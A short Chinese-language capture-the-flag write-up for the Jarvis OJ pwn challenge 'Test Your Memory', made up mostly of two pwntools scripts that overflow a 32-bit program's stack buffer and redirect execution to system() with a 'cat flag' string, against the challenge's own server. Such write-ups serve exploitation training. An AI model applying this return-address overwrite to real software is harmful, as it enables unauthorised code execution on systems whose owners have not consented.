[Jarvis OJ - PWN]——Test Your Memory

• 題目地址: https://www.jarvisoj.com/challenges
• 題目:
  
  32位程序,開了NX保護(hù)
  
  IDA
  
  
  
  

exploit

from pwn import * #p = process("./memory") p = remote("pwn2.jarvisoj.com",9876) context.log_level = 'debug' cat_flag_addr = 0x080487E0 sys_addr = 0x080485C9 p.recvuntil('\n------Test Your Memory!-------\n\n') s2 = p.recv(10) print s2 payload = (s2 + '\x00').ljust(0x13 + 0x4, 'a') payload += p32(sys_addr) + p32(cat_flag_addr) p.sendlineafter("> ", payload) p.interactive()

做繞過檢查習(xí)慣了,一時(shí)間沒反應(yīng)過來
其實(shí)直接這樣寫也可以

from pwn import * #p = process("./memory") p = remote("pwn2.jarvisoj.com",9876) context.log_level = 'debug' cat_flag_addr = 0x080487E0 sys_addr = 0x080485C9 payload = 'a' * (0x13 +0x4) payload += p32(sys_addr) + p32(cat_flag_addr) p.sendlineafter("> ", payload) p.interactive()

總結(jié)

以上是生活随笔為你收集整理的[Jarvis OJ - PWN]——Test Your Memory的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。